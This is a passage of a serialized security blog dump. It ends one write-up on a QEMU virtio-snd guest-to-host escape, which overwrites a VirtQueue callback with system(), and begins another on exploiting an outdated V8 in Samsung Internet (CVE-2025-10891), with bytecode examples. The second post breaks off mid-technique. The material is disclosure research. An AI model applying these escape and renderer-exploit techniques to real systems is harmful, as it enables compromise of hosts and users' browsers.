",{"type":22,"tag":118,"props":133033,"children":133034},{"style":210},[133035],{"type":28,"value":671},{"type":22,"tag":118,"props":133037,"children":133038},{"style":125},[133039],{"type":28,"value":133040},"vdev;\n",{"type":22,"tag":118,"props":133042,"children":133043},{"class":120,"line":263},[133044],{"type":22,"tag":118,"props":133045,"children":133046},{"emptyLinePlaceholder":15},[133047],{"type":28,"value":250},{"type":22,"tag":118,"props":133049,"children":133050},{"class":120,"line":318},[133051],{"type":22,"tag":118,"props":133052,"children":133053},{"style":125},[133054],{"type":28,"value":106397},{"type":22,"tag":118,"props":133056,"children":133057},{"class":120,"line":351},[133058],{"type":22,"tag":118,"props":133059,"children":133060},{"style":125},[133061],{"type":28,"value":4277},{"type":22,"tag":31,"props":133063,"children":133064},{},[133065,133066,133072,133074,133080],{"type":28,"value":2743},{"type":22,"tag":114,"props":133067,"children":133069},{"className":133068},[],[133070],{"type":28,"value":133071},".handle_output",{"type":28,"value":133073}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":22,"tag":114,"props":133075,"children":133077},{"className":133076},[],[133078],{"type":28,"value":133079},".vdev",{"type":28,"value":133081}," is the pointer passed to it as the first argument:",{"type":22,"tag":107,"props":133083,"children":133085},{"code":133084,"language":5169,"meta":7,"className":18481,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[133086],{"type":22,"tag":114,"props":133087,"children":133088},{"__ignoreMap":7},[133089,133122,133129,133184,133221,133228,133235,133242,133263,133270,133277,133284],{"type":22,"tag":118,"props":133090,"children":133091},{"class":120,"line":121},[133092,133096,133100,133105,133110,133114,133118],{"type":22,"tag":118,"props":133093,"children":133094},{"style":146},[133095],{"type":28,"value":52985},{"type":22,"tag":118,"props":133097,"children":133098},{"style":146},[133099],{"type":28,"value":52990},{"type":22,"tag":118,"props":133101,"children":133102},{"style":532},[133103],{"type":28,"value":133104}," virtio_queue_notify_vq",{"type":22,"tag":118,"props":133106,"children":133107},{"style":125},[133108],{"type":28,"value":133109},"(VirtQueue ",{"type":22,"tag":118,"props":133111,"children":133112},{"style":210},[133113],{"type":28,"value":671},{"type":22,"tag":118,"props":133115,"children":133116},{"style":204},[133117],{"type":28,"value":125468},{"type":22,"tag":118,"props":133119,"children":133120},{"style":125},[133121],{"type":28,"value":3665},{"type":22,"tag":118,"props":133123,"children":133124},{"class":120,"line":142},[133125],{"type":22,"tag":118,"props":133126,"children":133127},{"style":125},[133128],{"type":28,"value":12879},{"type":22,"tag":118,"props":133130,"children":133131},{"class":120,"line":177},[133132,133136,133140,133144,133148,133153,133157,133162,133166,133171,133175,133180],{"type":22,"tag":118,"props":133133,"children":133134},{"style":1480},[133135],{"type":28,"value":2159},{"type":22,"tag":118,"props":133137,"children":133138},{"style":125},[133139],{"type":28,"value":842},{"type":22,"tag":118,"props":133141,"children":133142},{"style":204},[133143],{"type":28,"value":125468},{"type":22,"tag":118,"props":133145,"children":133146},{"style":125},[133147],{"type":28,"value":593},{"type":22,"tag":118,"props":133149,"children":133150},{"style":204},[133151],{"type":28,"value":133152},"vring",{"type":22,"tag":118,"props":133154,"children":133155},{"style":125},[133156],{"type":28,"value":292},{"type":22,"tag":118,"props":133158,"children":133159},{"style":204},[133160],{"type":28,"value":133161},"desc",{"type":22,"tag":118,"props":133163,"children":133164},{"style":210},[133165],{"type":28,"value":1789},{"type":22,"tag":118,"props":133167,"children":133168},{"style":204},[133169],{"type":28,"value":133170}," vq",{"type":22,"tag":118,"props":133172,"children":133173},{"style":125},[133174],{"type":28,"value":593},{"type":22,"tag":118,"props":133176,"children":133177},{"style":204},[133178],{"type":28,"value":133179},"handle_output",{"type":22,"tag":118,"props":133181,"children":133182},{"style":125},[133183],{"type":28,"value":16783},{"type":22,"tag":118,"props":133185,"children":133186},{"class":120,"line":195},[133187,133192,133196,133201,133205,133209,133213,133217],{"type":22,"tag":118,"props":133188,"children":133189},{"style":125},[133190],{"type":28,"value":133191},"        VirtIODevice ",{"type":22,"tag":118,"props":133193,"children":133194},{"style":210},[133195],{"type":28,"value":671},{"type":22,"tag":118,"props":133197,"children":133198},{"style":125},[133199],{"type":28,"value":133200},"vdev ",{"type":22,"tag":118,"props":133202,"children":133203},{"style":210},[133204],{"type":28,"value":282},{"type":22,"tag":118,"props":133206,"children":133207},{"style":204},[133208],{"type":28,"value":133170},{"type":22,"tag":118,"props":133210,"children":133211},{"style":125},[133212],{"type":28,"value":593},{"type":22,"tag":118,"props":133214,"children":133215},{"style":204},[133216],{"type":28,"value":125454},{"type":22,"tag":118,"props":133218,"children":133219},{"style":125},[133220],{"type":28,"value":801},{"type":22,"tag":118,"props":133222,"children":133223},{"class":120,"line":244},[133224],{"type":22,"tag":118,"props":133225,"children":133226},{"emptyLinePlaceholder":15},[133227],{"type":28,"value":250},{"type":22,"tag":118,"props":133229,"children":133230},{"class":120,"line":253},[133231],{"type":22,"tag":118,"props":133232,"children":133233},{"style":125},[133234],{"type":28,"value":125635},{"type":22,"tag":118,"props":133236,"children":133237},{"class":120,"line":263},[133238],{"type":22,"tag":118,"props":133239,"children":133240},{"emptyLinePlaceholder":15},[133241],{"type":28,"value":250},{"type":22,"tag":118,"props":133243,"children":133244},{"class":120,"line":318},[133245,133250,133254,133258],{"type":22,"tag":118,"props":133246,"children":133247},{"style":204},[133248],{"type":28,"value":133249},"        vq",{"type":22,"tag":118,"props":133251,"children":133252},{"style":125},[133253],{"type":28,"value":593},{"type":22,"tag":118,"props":133255,"children":133256},{"style":532},[133257],{"type":28,"value":133179},{"type":22,"tag":118,"props":133259,"children":133260},{"style":125},[133261],{"type":28,"value":133262},"(vdev, vq);\n",{"type":22,"tag":118,"props":133264,"children":133265},{"class":120,"line":351},[133266],{"type":22,"tag":118,"props":133267,"children":133268},{"emptyLinePlaceholder":15},[133269],{"type":28,"value":250},{"type":22,"tag":118,"props":133271,"children":133272},{"class":120,"line":359},[133273],{"type":22,"tag":118,"props":133274,"children":133275},{"style":125},[133276],{"type":28,"value":125635},{"type":22,"tag":118,"props":133278,"children":133279},{"class":120,"line":368},[133280],{"type":22,"tag":118,"props":133281,"children":133282},{"style":125},[133283],{"type":28,"value":1254},{"type":22,"tag":118,"props":133285,"children":133286},{"class":120,"line":384},[133287],{"type":22,"tag":118,"props":133288,"children":133289},{"style":125},[133290],{"type":28,"value":481},{"type":22,"tag":31,"props":133292,"children":133293},{},[133294,133296,133301,133303,133308,133310,133316,133318,133323,133324,133329,133331,133336],{"type":28,"value":133295},"This means that if we free the known-address chunk and replace it with a ",{"type":22,"tag":114,"props":133297,"children":133299},{"className":133298},[],[133300],{"type":28,"value":126121},{"type":28,"value":133302}," - which is straightforward, since we control the buffer allocation size through the ",{"type":22,"tag":114,"props":133304,"children":133306},{"className":133305},[],[133307],{"type":28,"value":125709},{"type":28,"value":133309}," iovec - we can use the arbitrary read primitive to read its ",{"type":22,"tag":114,"props":133311,"children":133313},{"className":133312},[],[133314],{"type":28,"value":133315},".vq",{"type":28,"value":133317}," pointer, then follow that pointer to leak ",{"type":22,"tag":114,"props":133319,"children":133321},{"className":133320},[],[133322],{"type":28,"value":133071},{"type":28,"value":18020},{"type":22,"tag":114,"props":133325,"children":133327},{"className":133326},[],[133328],{"type":28,"value":132973},{"type":28,"value":133330}," structure. In our case, that field points to ",{"type":22,"tag":114,"props":133332,"children":133334},{"className":133333},[],[133335],{"type":28,"value":125361},{"type":28,"value":133337},", which gives us QEMU's base address.",{"type":22,"tag":31,"props":133339,"children":133340},{},[133341,133343,133349],{"type":28,"value":133342},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":22,"tag":114,"props":133344,"children":133346},{"className":133345},[],[133347],{"type":28,"value":133348},"system",{"type":28,"value":292},{"type":22,"tag":1289,"props":133351,"children":133353},{"id":133352},"rip-control",[133354],{"type":28,"value":133355},"RIP Control",{"type":22,"tag":31,"props":133357,"children":133358},{},[133359,133361,133366,133368,133374],{"type":28,"value":133360},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":22,"tag":114,"props":133362,"children":133364},{"className":133363},[],[133365],{"type":28,"value":133348},{"type":28,"value":133367},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":22,"tag":114,"props":133369,"children":133371},{"className":133370},[],[133372],{"type":28,"value":133373},"VirtQueue.handle_output",{"type":28,"value":292},{"type":22,"tag":31,"props":133376,"children":133377},{},[133378,133380,133385,133387,133392,133394,133399],{"type":28,"value":133379},"We overwrite ",{"type":22,"tag":114,"props":133381,"children":133383},{"className":133382},[],[133384],{"type":28,"value":133071},{"type":28,"value":133386}," with the address of ",{"type":22,"tag":114,"props":133388,"children":133390},{"className":133389},[],[133391],{"type":28,"value":133348},{"type":28,"value":133393}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":22,"tag":114,"props":133395,"children":133397},{"className":133396},[],[133398],{"type":28,"value":133079},{"type":28,"value":133400}," with the address of that command string, so it is passed as the first argument.",{"type":22,"tag":31,"props":133402,"children":133403},{},[133404,133406,133412,133414,133420,133422,133428],{"type":28,"value":133405},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":22,"tag":114,"props":133407,"children":133409},{"className":133408},[],[133410],{"type":28,"value":133411},"virtio_queue_notify_vq",{"type":28,"value":133413},", which calls ",{"type":22,"tag":114,"props":133415,"children":133417},{"className":133416},[],[133418],{"type":28,"value":133419},"vq->handle_output(vq->vdev)",{"type":28,"value":133421}," - or, after our overwrites, ",{"type":22,"tag":114,"props":133423,"children":133425},{"className":133424},[],[133426],{"type":28,"value":133427},"system(command)",{"type":28,"value":292},{"type":22,"tag":31,"props":133430,"children":133431},{},[133432,133434,133440,133442],{"type":28,"value":133433},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":22,"tag":114,"props":133435,"children":133437},{"className":133436},[],[133438],{"type":28,"value":133439},"gnome-calculator",{"type":28,"value":133441}," on the host system:\n",{"type":22,"tag":32907,"props":133443,"children":133444},{},[],{"type":22,"tag":133446,"props":133447,"children":133456},"tweet-card",{"author-name":133448,"date":133449,"duration":133450,"handle":133451,"media-mime-type":133452,"media-src":133453,"media-type":133454,"tweet-url":133455},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[133457,133462,133467],{"type":22,"tag":31,"props":133458,"children":133459},{},[133460],{"type":28,"value":133461},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":22,"tag":31,"props":133463,"children":133464},{},[133465],{"type":28,"value":133466},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":22,"tag":31,"props":133468,"children":133469},{},[133470],{"type":28,"value":133471},"Writeup coming next week.",{"type":22,"tag":32907,"props":133473,"children":133474},{},[],{"type":22,"tag":31,"props":133476,"children":133477},{},[133478,133480,133486,133488,133494],{"type":28,"value":133479},"The final exploit, targeting QEMU commit ",{"type":22,"tag":114,"props":133481,"children":133483},{"className":133482},[],[133484],{"type":28,"value":133485},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":28,"value":133487}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":22,"tag":42,"props":133489,"children":133492},{"href":133490,"rel":133491},"https://github.com/otter-sec/qemu-escape",[46],[133493],{"type":28,"value":1377},{"type":28,"value":292},{"type":22,"tag":31,"props":133496,"children":133497},{},[133498,133500,133507],{"type":28,"value":133499},"Special thanks to ",{"type":22,"tag":42,"props":133501,"children":133504},{"href":133502,"rel":133503},"https://www.willsroot.io/",[46],[133505],{"type":28,"value":133506},"William Liu",{"type":28,"value":133508}," for proofreading this post and helping us polish it before publication.",{"type":22,"tag":23,"props":133510,"children":133511},{"id":30872},[133512],{"type":28,"value":20914},{"type":22,"tag":31,"props":133514,"children":133515},{},[133516],{"type":28,"value":133517},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":22,"tag":31,"props":133519,"children":133520},{},[133521],{"type":28,"value":133522},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":22,"tag":4880,"props":133524,"children":133525},{},[133526],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":133528},[133529,133532,133535,133544],{"id":125257,"depth":142,"text":125270,"children":133530},[133531],{"id":125278,"depth":177,"text":125281},{"id":125302,"depth":142,"text":125305,"children":133533},[133534],{"id":125316,"depth":177,"text":125316},{"id":101704,"depth":142,"text":101707,"children":133536},[133537,133538,133539,133540,133541,133542,133543],{"id":127908,"depth":177,"text":127911},{"id":129435,"depth":177,"text":129438},{"id":130229,"depth":177,"text":130232},{"id":130634,"depth":177,"text":130637},{"id":130850,"depth":177,"text":130853},{"id":131056,"depth":177,"text":131059},{"id":133352,"depth":177,"text":133355},{"id":30872,"depth":142,"text":20914},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":133549,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":133550,"description":133551,"date":133552,"author":133553,"image":133556,"isFeatured":15,"onBlogPage":15,"tags":133558,"body":133561,"_type":4896,"_id":143469,"_source":4898,"_file":143470,"_stem":143471,"_extension":4901},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[125253,133554,133555],"jamie","william",{"src":133557,"width":98864,"height":13},"/posts/mobile-renderer-rce/title.png",[133559,133560],"RCE","mobile",{"type":19,"children":133562,"toc":143449},[133563,133567,133572,133586,133592,133606,133627,133635,133648,133656,133669,133675,133688,133702,133708,133722,133825,133830,133838,133843,133848,133869,133947,133955,133974,133987,133993,133999,134013,134129,134134,134139,134147,134152,134160,134188,134217,134229,134405,134410,134418,134437,134450,134456,134476,134490,134495,134500,134528,134564,134633,134639,134661,134666,134674,134687,134692,134700,134705,134744,134750,134763,134768,134946,134956,134964,134984,135008,135021,135027,135032,135674,135679,135687,135729,137718,137723,137731,137737,137770,137788,137958,138016,138041,138135,138140,138931,138936,138944,138955,140999,141004,141012,141018,141040,141054,141067,141079,141109,141114,141555,141583,141690,141707,141864,141869,141881,142177,142203,142226,142358,142370,142375,142527,142563,142576,142581,142703,142744,142821,142826,143400,143406,143418,143431,143435,143440,143445],{"type":22,"tag":23,"props":133564,"children":133565},{"id":25},[133566],{"type":28,"value":29},{"type":22,"tag":31,"props":133568,"children":133569},{},[133570],{"type":28,"value":133571},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":22,"tag":31,"props":133573,"children":133574},{},[133575,133577,133584],{"type":28,"value":133576},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":22,"tag":42,"props":133578,"children":133581},{"href":133579,"rel":133580},"https://cor.team",[46],[133582],{"type":28,"value":133583},"Crusaders of Rust",{"type":28,"value":133585}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":22,"tag":1289,"props":133587,"children":133589},{"id":133588},"finding-the-v8-version",[133590],{"type":28,"value":133591},"Finding the V8 Version",{"type":22,"tag":31,"props":133593,"children":133594},{},[133595,133597,133604],{"type":28,"value":133596},"We started by pulling Samsung Internet's APK from the device over ",{"type":22,"tag":42,"props":133598,"children":133601},{"href":133599,"rel":133600},"https://developer.android.com/tools/adb",[46],[133602],{"type":28,"value":133603},"adb",{"type":28,"value":133605}," and inspecting the libraries it shipped with.",{"type":22,"tag":31,"props":133607,"children":133608},{},[133609,133611,133617,133619,133625],{"type":28,"value":133610},"After extracting the APK, we searched the ",{"type":22,"tag":114,"props":133612,"children":133614},{"className":133613},[],[133615],{"type":28,"value":133616},"lib/",{"type":28,"value":133618}," directory for ",{"type":22,"tag":114,"props":133620,"children":133622},{"className":133621},[],[133623],{"type":28,"value":133624},"v8::*",{"type":28,"value":133626}," symbols:",{"type":22,"tag":107,"props":133628,"children":133630},{"code":133629},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[133631],{"type":22,"tag":114,"props":133632,"children":133633},{"__ignoreMap":7},[133634],{"type":28,"value":133629},{"type":22,"tag":31,"props":133636,"children":133637},{},[133638,133640,133646],{"type":28,"value":133639},"Only one file matched our search: ",{"type":22,"tag":114,"props":133641,"children":133643},{"className":133642},[],[133644],{"type":28,"value":133645},"libterrace.so",{"type":28,"value":133647},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":22,"tag":31,"props":133649,"children":133650},{},[133651],{"type":22,"tag":5928,"props":133652,"children":133655},{"alt":133653,"src":133654},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":22,"tag":31,"props":133657,"children":133658},{},[133659,133661,133667],{"type":28,"value":133660},"Surprisingly, this ",{"type":22,"tag":114,"props":133662,"children":133664},{"className":133663},[],[133665],{"type":28,"value":133666},"13.6.233.10",{"type":28,"value":133668}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":22,"tag":1289,"props":133670,"children":133672},{"id":133671},"choosing-the-bug",[133673],{"type":28,"value":133674},"Choosing the Bug",{"type":22,"tag":31,"props":133676,"children":133677},{},[133678,133680,133686],{"type":28,"value":133679},"We were able to trigger a couple of bugs on our locally compiled ",{"type":22,"tag":114,"props":133681,"children":133683},{"className":133682},[],[133684],{"type":28,"value":133685},"d8",{"type":28,"value":133687}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":22,"tag":31,"props":133689,"children":133690},{},[133691,133693,133700],{"type":28,"value":133692},"Another one was ",{"type":22,"tag":42,"props":133694,"children":133697},{"href":133695,"rel":133696},"https://issuetracker.google.com/issues/443875388",[46],[133698],{"type":28,"value":133699},"CVE-2025-10891",{"type":28,"value":133701}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":22,"tag":23,"props":133703,"children":133705},{"id":133704},"ignition-bytecode-introduction",[133706],{"type":28,"value":133707},"Ignition Bytecode Introduction",{"type":22,"tag":31,"props":133709,"children":133710},{},[133711,133713,133720],{"type":28,"value":133712},"V8 initially compiles all JS code to a bytecode format with the ",{"type":22,"tag":42,"props":133714,"children":133717},{"href":133715,"rel":133716},"https://v8.dev/blog/ignition-interpreter",[46],[133718],{"type":28,"value":133719},"Ignition",{"type":28,"value":133721}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":22,"tag":107,"props":133723,"children":133725},{"code":133724,"language":33304,"meta":7,"className":33302,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[133726],{"type":22,"tag":114,"props":133727,"children":133728},{"__ignoreMap":7},[133729,133752,133776,133800],{"type":22,"tag":118,"props":133730,"children":133731},{"class":120,"line":121},[133732,133736,133740,133744,133748],{"type":22,"tag":118,"props":133733,"children":133734},{"style":146},[133735],{"type":28,"value":3149},{"type":22,"tag":118,"props":133737,"children":133738},{"style":204},[133739],{"type":28,"value":91432},{"type":22,"tag":118,"props":133741,"children":133742},{"style":210},[133743],{"type":28,"value":837},{"type":22,"tag":118,"props":133745,"children":133746},{"style":674},[133747],{"type":28,"value":6535},{"type":22,"tag":118,"props":133749,"children":133750},{"style":125},[133751],{"type":28,"value":801},{"type":22,"tag":118,"props":133753,"children":133754},{"class":120,"line":142},[133755,133759,133763,133767,133772],{"type":22,"tag":118,"props":133756,"children":133757},{"style":146},[133758],{"type":28,"value":3149},{"type":22,"tag":118,"props":133760,"children":133761},{"style":204},[133762],{"type":28,"value":92306},{"type":22,"tag":118,"props":133764,"children":133765},{"style":210},[133766],{"type":28,"value":837},{"type":22,"tag":118,"props":133768,"children":133769},{"style":674},[133770],{"type":28,"value":133771}," 0x0fff",{"type":22,"tag":118,"props":133773,"children":133774},{"style":125},[133775],{"type":28,"value":801},{"type":22,"tag":118,"props":133777,"children":133778},{"class":120,"line":177},[133779,133783,133787,133791,133796],{"type":22,"tag":118,"props":133780,"children":133781},{"style":146},[133782],{"type":28,"value":3149},{"type":22,"tag":118,"props":133784,"children":133785},{"style":204},[133786],{"type":28,"value":39386},{"type":22,"tag":118,"props":133788,"children":133789},{"style":210},[133790],{"type":28,"value":837},{"type":22,"tag":118,"props":133792,"children":133793},{"style":674},[133794],{"type":28,"value":133795}," 0x0fffffff",{"type":22,"tag":118,"props":133797,"children":133798},{"style":125},[133799],{"type":28,"value":801},{"type":22,"tag":118,"props":133801,"children":133802},{"class":120,"line":195},[133803,133807,133812,133816,133821],{"type":22,"tag":118,"props":133804,"children":133805},{"style":146},[133806],{"type":28,"value":3149},{"type":22,"tag":118,"props":133808,"children":133809},{"style":204},[133810],{"type":28,"value":133811}," d",{"type":22,"tag":118,"props":133813,"children":133814},{"style":210},[133815],{"type":28,"value":837},{"type":22,"tag":118,"props":133817,"children":133818},{"style":674},[133819],{"type":28,"value":133820}," 0xffffffff",{"type":22,"tag":118,"props":133822,"children":133823},{"style":125},[133824],{"type":28,"value":801},{"type":22,"tag":31,"props":133826,"children":133827},{},[133828],{"type":28,"value":133829},"compiles to",{"type":22,"tag":107,"props":133831,"children":133833},{"code":133832}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[133834],{"type":22,"tag":114,"props":133835,"children":133836},{"__ignoreMap":7},[133837],{"type":28,"value":133832},{"type":22,"tag":31,"props":133839,"children":133840},{},[133841],{"type":28,"value":133842},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":22,"tag":1289,"props":133844,"children":133846},{"id":133845},"cve-2025-10891",[133847],{"type":28,"value":133699},{"type":22,"tag":31,"props":133849,"children":133850},{},[133851,133853,133859,133861,133867],{"type":28,"value":133852},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":22,"tag":114,"props":133854,"children":133856},{"className":133855},[],[133857],{"type":28,"value":133858},"[start, end) => handler",{"type":28,"value":133860}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":22,"tag":114,"props":133862,"children":133864},{"className":133863},[],[133865],{"type":28,"value":133866},"handler",{"type":28,"value":133868}," is jumped to.",{"type":22,"tag":107,"props":133870,"children":133872},{"code":133871,"language":33304,"meta":7,"className":33302,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[133873],{"type":22,"tag":114,"props":133874,"children":133875},{"__ignoreMap":7},[133876,133887,133902,133917,133940],{"type":22,"tag":118,"props":133877,"children":133878},{"class":120,"line":121},[133879,133883],{"type":22,"tag":118,"props":133880,"children":133881},{"style":1480},[133882],{"type":28,"value":50271},{"type":22,"tag":118,"props":133884,"children":133885},{"style":125},[133886],{"type":28,"value":1474},{"type":22,"tag":118,"props":133888,"children":133889},{"class":120,"line":142},[133890,133894,133898],{"type":22,"tag":118,"props":133891,"children":133892},{"style":1480},[133893],{"type":28,"value":37142},{"type":22,"tag":118,"props":133895,"children":133896},{"style":674},[133897],{"type":28,"value":6535},{"type":22,"tag":118,"props":133899,"children":133900},{"style":125},[133901],{"type":28,"value":801},{"type":22,"tag":118,"props":133903,"children":133904},{"class":120,"line":177},[133905,133909,133913],{"type":22,"tag":118,"props":133906,"children":133907},{"style":125},[133908],{"type":28,"value":48814},{"type":22,"tag":118,"props":133910,"children":133911},{"style":1480},[133912],{"type":28,"value":50351},{"type":22,"tag":118,"props":133914,"children":133915},{"style":125},[133916],{"type":28,"value":1474},{"type":22,"tag":118,"props":133918,"children":133919},{"class":120,"line":195},[133920,133924,133928,133932,133936],{"type":22,"tag":118,"props":133921,"children":133922},{"style":146},[133923],{"type":28,"value":9860},{"type":22,"tag":118,"props":133925,"children":133926},{"style":204},[133927],{"type":28,"value":92306},{"type":22,"tag":118,"props":133929,"children":133930},{"style":210},[133931],{"type":28,"value":837},{"type":22,"tag":118,"props":133933,"children":133934},{"style":674},[133935],{"type":28,"value":677},{"type":22,"tag":118,"props":133937,"children":133938},{"style":125},[133939],{"type":28,"value":801},{"type":22,"tag":118,"props":133941,"children":133942},{"class":120,"line":244},[133943],{"type":22,"tag":118,"props":133944,"children":133945},{"style":125},[133946],{"type":28,"value":481},{"type":22,"tag":107,"props":133948,"children":133950},{"code":133949}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[133951],{"type":22,"tag":114,"props":133952,"children":133953},{"__ignoreMap":7},[133954],{"type":28,"value":133949},{"type":22,"tag":31,"props":133956,"children":133957},{},[133958,133960,133965,133967,133972],{"type":28,"value":133959},"However, the ",{"type":22,"tag":114,"props":133961,"children":133963},{"className":133962},[],[133964],{"type":28,"value":133866},{"type":28,"value":133966}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":22,"tag":114,"props":133968,"children":133970},{"className":133969},[],[133971],{"type":28,"value":50351},{"type":28,"value":133973}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":22,"tag":31,"props":133975,"children":133976},{},[133977,133979,133985],{"type":28,"value":133978},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":22,"tag":114,"props":133980,"children":133982},{"className":133981},[],[133983],{"type":28,"value":133984},"yield*",{"type":28,"value":133986}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":22,"tag":23,"props":133988,"children":133990},{"id":133989},"exploitation",[133991],{"type":28,"value":133992},"Exploitation",{"type":22,"tag":1289,"props":133994,"children":133996},{"id":133995},"constant-smuggling",[133997],{"type":28,"value":133998},"Constant Smuggling",{"type":22,"tag":31,"props":134000,"children":134001},{},[134002,134004,134011],{"type":28,"value":134003},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":22,"tag":42,"props":134005,"children":134008},{"href":134006,"rel":134007},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[46],[134009],{"type":28,"value":134010},"technique",{"type":28,"value":134012}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":22,"tag":107,"props":134014,"children":134016},{"code":134015,"language":33304,"meta":7,"className":33302,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[134017],{"type":22,"tag":114,"props":134018,"children":134019},{"__ignoreMap":7},[134020,134048,134075,134102],{"type":22,"tag":118,"props":134021,"children":134022},{"class":120,"line":121},[134023,134027,134031,134035,134039,134044],{"type":22,"tag":118,"props":134024,"children":134025},{"style":146},[134026],{"type":28,"value":3149},{"type":22,"tag":118,"props":134028,"children":134029},{"style":204},[134030],{"type":28,"value":91432},{"type":22,"tag":118,"props":134032,"children":134033},{"style":210},[134034],{"type":28,"value":837},{"type":22,"tag":118,"props":134036,"children":134037},{"style":210},[134038],{"type":28,"value":53196},{"type":22,"tag":118,"props":134040,"children":134041},{"style":674},[134042],{"type":28,"value":134043},"9.255963134931783e61",{"type":22,"tag":118,"props":134045,"children":134046},{"style":125},[134047],{"type":28,"value":801},{"type":22,"tag":118,"props":134049,"children":134050},{"class":120,"line":142},[134051,134055,134059,134063,134067,134071],{"type":22,"tag":118,"props":134052,"children":134053},{"style":146},[134054],{"type":28,"value":3149},{"type":22,"tag":118,"props":134056,"children":134057},{"style":204},[134058],{"type":28,"value":92306},{"type":22,"tag":118,"props":134060,"children":134061},{"style":210},[134062],{"type":28,"value":837},{"type":22,"tag":118,"props":134064,"children":134065},{"style":210},[134066],{"type